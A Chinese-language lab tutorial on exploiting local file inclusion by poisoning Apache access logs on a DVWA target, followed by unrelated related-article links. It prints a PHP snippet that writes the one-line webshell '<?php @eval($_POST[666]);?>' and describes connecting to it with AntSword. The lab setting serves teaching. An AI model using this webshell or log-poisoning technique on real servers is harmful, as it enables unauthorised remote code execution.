文章目录

  • 一、实验目的:
  • 二、工具:
  • 三、实验环境:
  • 四、原理说明:
    • 1. 原理:
    • 2. 利用方法:
  • 五、日志文件相关:
    • 1. 日志文件路径:
    • 2. 没有`access.log`访问日志的原因:
    • 3. 开启`access.log`访问日志功能:
  • 六、实验过程:

一、实验目的:

1、通过学习日志文件包含漏洞,掌握在目标服务器存在文件包含漏洞的前提下没有上传功能下获取权限的方法。
2、通过搭建漏洞环境,学习绕过技巧。

二、工具:

火狐/谷歌浏览器
burpsuite

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      phpstudy2018_Apache集成环境
      DVWA靶场

攻击机: 物理机

四、原理说明:

1. 原理:

  当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵
  Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。

2. 利用方法:

过日志文件getshell
1.通过burpsuite发送的请求包产生日志数据;
2.包含日志文件;
3.写入一句话木马getshell

五、日志文件相关:

1. 日志文件路径:

E:\php\phpstudy_2018\PHPTutorial\Apache\logs\

这里主要查看access.log这个日志,这个日志记录着服务器所有的访问记录,包括一些攻击流量:

2. 没有access.log访问日志的原因:

进入日志目录下,如果发现没有access.log这个访问日志,是因为apache配置文件没有打开这个配置选项,需要对相应的功能进行开启。

3. 开启access.log访问日志功能:

1、通过配置文件的开启access.log访问日志功能:

2、搜索CustomLog "logs/access.log" common,将前面的##注释去掉,并保存文件,然后重启PHPstudy:

3、查看访问日志文件,日志目录下已经出现这个文件,说明成功开启访问日志功能:

4、访问几个网页,查看记录,对自己访问的页面有记录,说明access.log可以自动记录访问操作:

六、实验过程:

1、我们通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问历史:
访问内容:

<?php phpinfo();?>


注:通过上图我们可以看出,日志已经成功记录我们的访问历史,但是是经过URL编码后的结果。如何让它记录我们原始完整的代码呢?一般URL编码是我们的浏览器进行完成的,它对我们访问的目录做了URL编码,然后发送到服务器,我们可以通过burpsuite,把经过浏览器URL编码后的数据进行修改。
2、使用burpsuite修改编码后的数据:

3、查看访问日志,可以看出,没有编码的phpinfo();代码已经成功记录:

4、文件包含只要文件中有php代码,它就会把这个文件当做php脚本进行解析,这样我们可以包含这个日志文件,让目标服务器把日志文件解析为php脚本;可以看出,已经成功解析日志文件为php脚本:

5、让访问日志文件记录下写入文件脚本代码:
访问内容:

<?php
$file=fopen('test1.php','w');
fputs($file,'<?php @eval($_POST[666]);?>');
?>


6、对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功:

7、使用蚁剑连接webshell,成功获得靶机的webshell权限:

【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用相关推荐

  1. mysql8日志文件密码_mysql8 参考手册--mysqlbinlog-处理二进制日志文件的实用程序

    服务器的二进制日志由包含" 事件 "的文件组成,这些 事件描述了对数据库内容的修改.服务器以二进制格式写入这些文件.要以文本格式显示其内容,请使用 mysqlbinlog实用程序. ...

  2. 重做日志文件(redo log file)和归档日志文件(archive log file)

    日志文件分为重做日志文件(redo log file)和归档日志文件(archive log file). SQL> select group#, status, member from v$l ...

  3. 所属文件不可访问_日志文件写入失败(permission denied)

    用过Laravel的小伙伴一开始安装完框架后可能都遇到过daily 日志文件写入失败的问题,接下来我们就来详细说下日志文件写入失败的原因以及对应的解决方案. 在讲这个问题之前可能需要简单介绍下Linu ...

  4. linux中如何查看文件上下文,linux通过grep根据关键字查找日志文件上下文

    linux通过grep根据关键字查找日志文件上下文 1.在标准unix/linux下的grep命令中,通过以下参数控制上下文的显示: grep -C 10 keyword catalina.out 显 ...

  5. java分析日志文件_java程序如何对监控软件的日志文件进行如下分析?

    一个监控软件的日志文件,内容如下: 日期               时间          接口       设备      状态 2016-09-01   08:00     J1         ...

  6. 另一种办法直接在宿主机上的文件夹内查看Docker镜像运行的日志文件

    我们可以用docker ps首先找到某个Docker容器的id,再使用关键字docker logs <容器id>打印出该容器产生的日志: 同样,在宿主机目录/var/lib/docker/ ...

  7. linux配置定时删除日志文件,Linux使用shell脚本定时删除历史日志文件

    Linux使用shell脚本定时删除历史日志文件,文件,小时,时间,目录,脚本 Linux使用shell脚本定时删除历史日志文件 易采站长站,站长之家为您整理了Linux使用shell脚本定时删除历史 ...

  8. java让日志生成日期文件夹_SpringBoot按日期和文件大小生成日志文件到对应日期文件夹...

    一.效果图: 二.代码 (一)Bootstrap.yml配置文件 logging: config: classpath:logback-spring.xml (二)新增logback-spring.x ...

  9. ldf文件怎么储存到mysql中_sqlserver数据库的ldf文件太大,我们如何压缩ldf日志文件...

    使用sqlserver数据库的数据有两个文件,分别是mdf和ldf. mdf是数据文件,另外一个ldf为日志文件.随着网站的运行,你会发现ldf这个文件会越来越大,我们如何压缩ldf日志文件. 网上有 ...

最新文章

  1. 【软考-软件设计师】程序设计的基本成分
  2. 2019年第十届蓝桥杯 - 省赛 - C/C++大学B组 - D. 数的分解
  3. Web前端技术历经的洗礼和蜕变
  4. python实例 91,92,93,94
  5. 配置LVS + Keepalived高可用负载均衡集群之图文教程
  6. android markdown编辑器,推荐几款好用的Markdown编辑器
  7. Postman测试Soap协议接口
  8. 标准摇滚电吉他音源 Orange Tree Samples Evolution Rock Standard
  9. GGB0/OB28/OKC7/GGB1/OBBH/OKC9 FICO增强
  10. AI的10个开源工具/框架
  11. ECUG Con 2018 早鸟票热卖中 | 大咖聚首 探索云计算下一个十年
  12. 路由器:分类、定义及标准
  13. 线上教学软件哪个平台好?
  14. doctor技术基础
  15. 人工智能,落地为王!深圳人工智能企业百强榜超七成为应用层
  16. 层次状态机-HSM代码解析
  17. (转)奴徒工匠师家圣
  18. 忧郁的蓝色手机专业论坛
  19. 三星存储新品首销情况揭秘
  20. 英国留学生考文垂大学本科没有毕业只能原地坐以待毙

热门文章

  1. 新的教学模式、教学改革思路探讨
  2. DVB-S2中的LDPC
  3. NFS、FTP、SMB、WebDav、DLNA协议
  4. 全网最全Skywalking8.9.1源码解析系列文章
  5. Android 仿HTC拉环解锁波浪效果
  6. WPF-Visifire.Chart使用:常用参数详解
  7. 用JavaScript在网页右下角弹出窗口
  8. C# 使用一个timer实现转圈圈屏保
  9. 尚硅谷李立超JavaScript笔记
  10. HP DL580 G8 使用光盘安装redhat 6.5系统方法